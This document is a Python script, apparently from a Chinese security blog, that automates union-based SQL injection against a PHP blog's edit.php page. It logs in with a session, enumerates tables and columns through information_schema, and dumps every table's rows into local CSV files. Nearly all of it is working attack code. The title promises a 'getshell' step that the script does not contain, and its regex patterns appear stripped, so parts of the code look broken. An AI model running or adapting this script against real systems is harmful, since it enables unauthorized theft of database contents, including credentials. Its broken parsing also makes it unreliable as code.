Python SQL注入拖库-getshell

# -*- coding: utf-8 -*-
# @Time : 2022/6/15 20:55
# @Author : admin
# @Email : 1985264689@qq.com
# @File : sqltk.py
# @Project : 项目
# @脚本说明 :
import requests,re

#保持session会话状态,已知数据库名的情况下
url = 'http://192.168.0.0/learn/blog/login-1.php'
data = {'username':'admin','password':'123456','vcode':'0000'}
session = requests.session()
session.post(url=url,data=data)

#获取数据库名称获取表名
dataname = input("请输入数据库名：")
url1 = f'http://192.168.248.184/learn/blog/edit.php?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="{dataname}"),4'
res1 = session.get(url=url1)
table_name = res1.text
#写死的正则表达式
table_re = '(.*?)'
table_res = re.findall(pattern=table_re,string=table_name)
tables = str(table_res[0]).split(',')

#循环遍历，通过表面去获取列名
for table in tables:
    url2 = f'http://192.168.248.184/learn/blog/edit.php?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="{dataname}" and table_name="{table}"),4'
    res2 = session.get(url=url2)
    column_name = res2.text

    # 写死的正则表达式
    column_re = '(.*?)'
    column_res = re.findall(pattern=column_re,string=column_name)
    columns = str(column_res[0]).split(',')

    #以数据库列名写入CSV文件列名
    with open(f'./{table}.csv','a',encoding='utf-8') as f:
        f.write(','.join(columns) + 'n')
    #重构数据，以指定字符串分隔
    columns = ",".join(columns).replace(',',',"==",')
    url3 = f'http://192.168.248.184/learn/blog/edit.php?id=-1 union select 1,2,(select group_concat({columns}) from {table}),4'
    res3 = session.get(url=url3)
    value = res3.text
    print(value)

    # 写死的正则表达式
    value_re = '(.*?)'
    value_res = re.findall(pattern=value_re,string=value)
    values = str(value_res[0]).split(',')

    for items in values:
        item = items.replace('==',',')
        with open(f'./{table}.csv','a',encoding='utf-8',newline='') as f:
            f.write(item + 'n')
            f.close()